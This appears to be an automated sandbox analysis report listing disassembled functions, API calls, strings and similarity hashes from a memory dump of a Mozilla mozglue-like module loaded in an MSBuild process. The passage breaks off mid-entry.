Function 6CC1DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC1DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CC1D38A,?), ref: 6CC1DC6F
free.MOZGLUE(?,?,?,?,?,6CC1D38A,?), ref: 6CC1DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CC1D38A,?), ref: 6CC1DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CC1D38A,?), ref: 6CC1DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CC1D38A,?), ref: 6CC1DD4A

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 4f65d0e362b998f13b4968e70067452cb3ebcdadc6b41e3110b4fa91089c43a6
Instruction ID: e6ed38013d7db01f62884c1b2cd8b9848400f4037a5d842b591cd8a810bdb57f
Opcode Fuzzy Hash: 4f65d0e362b998f13b4968e70067452cb3ebcdadc6b41e3110b4fa91089c43a6
Instruction Fuzzy Hash: 75415CB5A00605DFCB00DF9AC89099EB7F5FF89318B5545A9D945A7B10E731FC04CB90

Function 6CC06590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CBFFA80: GetCurrentThreadId.KERNEL32 ref: 6CBFFA8D
Part of subcall function 6CBFFA80: AcquireSRWLockExclusive.KERNEL32(6CC4F448), ref: 6CBFFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC06727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CC067C8

Part of subcall function 6CC14290: memcpy.VCRUNTIME140(?,?,6CC22003,6CC20AD9,?,6CC20AD9,00000000,?,6CC20AD9,?,00000004,?,6CC21A62,?,6CC22003,?), ref: 6CC142C4

Strings

data, xrefs: 6CC06593

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 158195fde24df868bc8c6b1f28c0a16350f1ee84d6010f26db2956ff17df160f
Instruction ID: 6992aed164a47ea4f5a4604f7e6b5d00ab84d2f93f77d945ba2733ee7586b0f2
Opcode Fuzzy Hash: 158195fde24df868bc8c6b1f28c0a16350f1ee84d6010f26db2956ff17df160f
Instruction Fuzzy Hash: BFD1BD75A087408FD724DF25D851B9FB7F5AFC5308F10892DE48987B51EB31A889CB92

Function 6CC1C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CC1C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CC1C842

Part of subcall function 6CC1CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6CC3B5EB,00000000), ref: 6CC1CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6CC1C863
std::_Facet_Register.LIBCPMT ref: 6CC1C875

Part of subcall function 6CBFB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6CC3B636,?), ref: 6CBFB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CC1C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC1C8BC

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 66e647b08c651ff080fc5d74b0cf3108f0cf1852796015f56017618419837bd1
Instruction ID: 7490d1de8f0a8fddc78729791e5772feddbdcc07bd7071a2abcfc2afae4617f5
Opcode Fuzzy Hash: 66e647b08c651ff080fc5d74b0cf3108f0cf1852796015f56017618419837bd1
Instruction Fuzzy Hash: 7F11B675B002099FCB00FFA5C8D48AFBBB4EF89358B008179E51697741EB309909CBA1

Function 6CBFD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CBCEB57,?,?,?,?,?,?,?,?,?), ref: 6CBFD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CBCEB57,?), ref: 6CBFD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CBCEB57,?), ref: 6CBFD673
free.MOZGLUE(?), ref: 6CBFD888

Strings

|Enabled, xrefs: 6CBFD81E

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 82f60574fc1e083398b254e0cbb4cc7c81307ea5e1917fe6ce5b7f834102049c
Instruction ID: 4fffcbf2328eb2085490b3a32b8479298e98ac517fbdc076dafe507fb7209a41
Opcode Fuzzy Hash: 82f60574fc1e083398b254e0cbb4cc7c81307ea5e1917fe6ce5b7f834102049c
Instruction Fuzzy Hash: 4AA1F670A003889FDB11CF79D4907AEBBF1EF49318F14815CD8A96B741D735A94ACBA2

Function 6CC10180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CC10270
GetCurrentThreadId.KERNEL32 ref: 6CC102E9
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC102F6
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC1033A

Strings

about:blank, xrefs: 6CC1020F

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: 8bc8a1a7fcf809aa5a1dc4fd4e9632044b4caff4d68722f883f058b7cdd0d604
Instruction ID: 88f2aa6bea38369323fd3357cb9e2d268558e4bc7d048d2800358839f5aee7e9
Opcode Fuzzy Hash: 8bc8a1a7fcf809aa5a1dc4fd4e9632044b4caff4d68722f883f058b7cdd0d604
Instruction Fuzzy Hash: 89519175A04219CFCB00DF5AC480A9EB7F1FF89328F648559D81AA7F41E731B956CB90

Function 6CC0E100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0E12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6CC0E084,00000000), ref: 6CC0E137

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6CC0E196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6CC0E1E9

Part of subcall function 6CC099A0: GetCurrentThreadId.KERNEL32 ref: 6CC099C1
Part of subcall function 6CC099A0: AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC099CE
Part of subcall function 6CC099A0: ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC099F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6CC0E13F

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 70ced4b8119ffa7962127633de13cdcb04dca9a92064b92d5d0ceae3773f012f
Instruction ID: 78c71ccda4140d257cd34d065aaa83c7fdbfc57e385d44bd92828613b89cf994
Opcode Fuzzy Hash: 70ced4b8119ffa7962127633de13cdcb04dca9a92064b92d5d0ceae3773f012f
Instruction Fuzzy Hash: 4C31F0B1B047009FD704AF6894003AAF7E1AFCA24CF14C82DE8994BB42FB71C90987D2

Function 6CBFF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CBFF480

Part of subcall function 6CBCF100: LoadLibraryW.KERNEL32(shell32,?,6CC3D020), ref: 6CBCF122
Part of subcall function 6CBCF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CBCF132

CloseHandle.KERNEL32(00000000), ref: 6CBFF555

Part of subcall function 6CBD14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CBD1248,6CBD1248,?), ref: 6CBD14C9
Part of subcall function 6CBD14B0: memcpy.VCRUNTIME140(?,6CBD1248,00000000,?,6CBD1248,?), ref: 6CBD14EF

Part of subcall function 6CBCEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CBCEEE3

CreateFileW.KERNEL32 ref: 6CBFF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CBFF523

Strings

\oleacc.dll, xrefs: 6CBFF4CB

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 426e4ea76f4f508490ef690f8aa37ea323251f28404334c72258d46516a3c34f
Instruction ID: dfb2326d86933a4a4b40eb3d620202b4890d0f22304cac7f00b38fc91ee65075
Opcode Fuzzy Hash: 426e4ea76f4f508490ef690f8aa37ea323251f28404334c72258d46516a3c34f
Instruction Fuzzy Hash: ED41BF306087909FE721DF68C984A9FB7F4EF84318F104A1CF5A483650EB34E94ACB92

Function 6CC0E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0E04F

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC0E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC0E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CC0E057

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 77fa335ea6b01407435a40a82d73f3bc1605bffdbd5b30483d1c05c5724ed768
Instruction ID: 6a34903f857cc56f058eecb74547b027e59a13e250fe6a313507c9eaf07730cf
Opcode Fuzzy Hash: 77fa335ea6b01407435a40a82d73f3bc1605bffdbd5b30483d1c05c5724ed768
Instruction Fuzzy Hash: E821C274B411088FDF00EF64D858AAEB7B5AF8520CF548019ED4A97741EB32A90AC7E1

Function 6CC274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CC27526
__Init_thread_footer.LIBCMT ref: 6CC27566
__Init_thread_footer.LIBCMT ref: 6CC27597

Strings

UnmapViewOfFile2, xrefs: 6CC27552
kernel32.dll, xrefs: 6CC27557

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 074981c5ae050023ea4a1d044ffc516619a5013bbd98910eb9539aa9f7717014
Instruction ID: 34626e8aecfdcf376813d149b1413604bac69d634b35eda53b6f4ab6aa609acd
Opcode Fuzzy Hash: 074981c5ae050023ea4a1d044ffc516619a5013bbd98910eb9539aa9f7717014
Instruction Fuzzy Hash: B321F531700501ABDB14AFE9C894E5A7375EB8632DF05C528D80597F40FB2DA846CB91

Function 6CC2A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC4F770,-00000001,?,6CC3E330,?,6CBEBDF7), ref: 6CC2A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CBEBDF7), ref: 6CC2A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CBEBDF7), ref: 6CC2A7E4
LeaveCriticalSection.KERNEL32(6CC4F770), ref: 6CC2A80A

Strings

accelerator.dll, xrefs: 6CC2A7BF

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: e994e630d13ec32ed094d77d9422bc85ff5486cad35d0a08b57559156d62af9d
Instruction ID: 4a3c40054ec08f772847c814fe7e0e487a724ee2eeba80ab9d2a8a1dc3b24d0d
Opcode Fuzzy Hash: e994e630d13ec32ed094d77d9422bc85ff5486cad35d0a08b57559156d62af9d
Instruction Fuzzy Hash: BB0162716103149FEB04DF96D884D597BF8FF8A769705C06AE9098B751EB74A800CBA1

Function 6CBCF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CBCEE51,?), ref: 6CBCF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CBCF0C2

Strings

ole32, xrefs: 6CBCF0AD
Could not find CoTaskMemFree, xrefs: 6CBCF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CBCF0DC

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 42dfd4ea372e8df1e61ade33418c5b60a7603d766734caf4e70af006867f2bda
Instruction ID: d82de41f084a3d0d5e4777d92bead56e378e9da104792c1ec0461df3c69d543e
Opcode Fuzzy Hash: 42dfd4ea372e8df1e61ade33418c5b60a7603d766734caf4e70af006867f2bda
Instruction Fuzzy Hash: 2AE086B07457429FAF24AF7B9818A2B3BBDAB52A0D354C46DE552D1F40FE21D420C623

Function 6CC000D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CBD7235), ref: 6CC000D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CC000F7
FreeLibrary.KERNEL32(?,6CBD7235), ref: 6CC0010E

Strings

wintrust.dll, xrefs: 6CC000D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CC000F1

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 6729f3df4bb5d84389696f232e9ab14330a4a85dd70e8d7fb848046127a5d6e6
Instruction ID: 3a450c1993d257af5f403085e84136ee05870e944a4f9fb3316fc7b1dfd2609e
Opcode Fuzzy Hash: 6729f3df4bb5d84389696f232e9ab14330a4a85dd70e8d7fb848046127a5d6e6
Instruction Fuzzy Hash: 12E0B67474570A9FEF00BF6AC919F267AF9A74724DF60C015A94AC5B41EBB1C450DB10

Function 6CC00080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CBD7204), ref: 6CC00088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CC000A7
FreeLibrary.KERNEL32(?,6CBD7204), ref: 6CC000BE

Strings

wintrust.dll, xrefs: 6CC00083
CryptCATAdminAcquireContext2, xrefs: 6CC000A1

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 2fc2c6155c7edeb8e9212888a5044a4cdf129375baa3cf937aca6757ea5cb57b
Instruction ID: 52d1c5a4700a895656d8bacf53742ad4823a7fd4c4b99992641a6b5e808378ac
Opcode Fuzzy Hash: 2fc2c6155c7edeb8e9212888a5044a4cdf129375baa3cf937aca6757ea5cb57b
Instruction Fuzzy Hash: 33E09274B447059FEF00BF6AD818B057AF8AB5B34DF50C016E924C6650EBB6C4109F21

Function 6CC001C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CBD7266), ref: 6CC001C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6CC001E7
FreeLibrary.KERNEL32(?,6CBD7266), ref: 6CC001FE

Strings

wintrust.dll, xrefs: 6CC001C3
CryptCATAdminReleaseContext, xrefs: 6CC001E1

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: ebc3a4aff0093a3867a5b96a1b7920a503c1ffdfcf99833771942783da75b0f5
Instruction ID: 6a9f2a448cecc4b641a6da6f315102df7e26185137e4ede64caeb7d8c5f39a59
Opcode Fuzzy Hash: ebc3a4aff0093a3867a5b96a1b7920a503c1ffdfcf99833771942783da75b0f5
Instruction Fuzzy Hash: DEE092747847959FEF00BF6AD818B167BF8AB5738DF50C415EA15C9A41EBB184009F20

Function 6CC00170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CBD7308), ref: 6CC00178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6CC00197
FreeLibrary.KERNEL32(?,6CBD7308), ref: 6CC001AE

Strings

wintrust.dll, xrefs: 6CC00173
CryptCATCatalogInfoFromContext, xrefs: 6CC00191

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
